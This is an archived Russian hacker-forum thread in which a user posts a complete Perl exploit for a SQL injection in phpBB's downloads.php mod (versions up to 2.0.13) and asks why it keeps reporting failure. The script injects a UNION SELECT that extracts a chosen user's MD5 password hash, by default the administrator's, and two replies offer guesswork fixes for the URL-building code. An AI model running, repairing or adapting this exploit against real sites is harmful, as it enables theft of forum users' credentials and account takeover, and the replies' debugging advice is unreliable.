Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Помогите найти ошибку в Perl скрипте

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> Помогите найти ошибку в Perl скрипте
Имя
Сообщение << Старые топики   Новые топики >>
Помогите найти ошибку в Perl скрипте - 2007-01-31 23:06:01.906666   
ZeroX

Сообщений: 14
Оценки: 0
Присоединился: 2006-10-13 16:04:18.150000
есть эксплоит
 
#!/usr/bin/perl -w
use IO::Socket;

## Example:
## C:\>phpbb.pl www.site.com /phpBB2/ 2
##
## downloads.php mod in phpBB <= 2.0.13
## **********************************
## [~] Connecting…
## [+] Connected!
## [~] Sending Data…
## [~] Data Sent, Waiting for response…
## [+] MD5 Hash for user with id=2 is: 81dc9bdb52d04dc20036dbd8313ed055
##
if (@ARGV < 3)
{
print "\n\n";
print "|****************************************************************|\n";
print " phpBB <=2.0.13 'downloads.php' Mod\n";
print " Bug found by Axl And CereBrums\n";
print " Coded by CereBrums // 2/4/2005\n";
print " Usage: phpbb.pl <site> <folder> <user_id>\n";
print " e.g.: phpbb.pl www.site.com /phpBB2/ 2 \n";
print " [~] <server> - site address\n";
print " [~] <folder> - forum folder\n";
print " [~] <user_id> - user id (2 default for phpBB admin)\n";
print "|****************************************************************|\n";
print "\n\n";
exit(1);
}

$take = 0;
$success = 0;
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
print "\n downloads.php mod in phpBB <= 2.0.13\n";
print " **********************************\n";
print " [~] Connecting…\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "$socket error $!";

print " [+] Connected\n";
print " [~] Sending Data…\n";

$path = "http://$server/";
$path .= "/$folder/";
$path .= "downloads.php?cat=-1%20UNION%20SELECT%200,user_password,0,0,0,0,0,0,0%20FROM%20phpbb_users%20WHERE%20user_id=$user_id/*";
print $socket "GET $path HTTP/1.0\r\n\r\n";

print " [~] Data Sent, Waiting for response…\n";

while ($answer = <$socket>)
{
if ($take == 1) {
$pass = substr($answer,51,32);
print " [+] MD5 Hash for user with id=$user_id is: $pass\n";
$success = 1;
$take = 0;
}
$found = rindex ($answer,"downloads.php?view=detail&id=0&cat=0");
if ( $found > -1 ) {
$take = 1;
}
}
if ($success==0) {print " [-] Exploit failed\n";}

## EOF ##
# milw0rm.com [2005-04-02] Запускаю, постоянно пишет exploit Failed. &lt;$path .= "/$folder/";&gt; исправлять на &lt;$path .= "$folder/";&gt; пробовал - не помогает.

  
Post #: 1
RE: Помогите найти ошибку в Perl скрипте - 2007-02-04 18:36:40.190000   
FreeZe14

Сообщений: 71
Оценки: 0
Присоединился: 2007-01-15 18:45:13.703333
у тебя в скрипте 2 раза переменная path:
$path .= "/$folder/"; $path .=
По - моему вторая строчка $path .= не нужна ?
Post #: 2
RE: Помогите найти ошибку в Perl скрипте - 2007-02-04 19:41:45.456666   
halkfild

Сообщений: 286
Оценки: 0
Присоединился: 2006-11-27 18:26:36.310000
нет там пару так надо это типа собираем строку.. с частей

может попробуй добавить еще по слешу $path .= "//$folder/" для экранирования
или как в пхп $path .= "/".$folder."/"
З.Ы. я в перле не очень.. но первій вариан должен работать
Post #: 3
Страниц:  [1]
Все форумы >> [Веб-программинг] >> Помогите найти ошибку в Perl скрипте







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.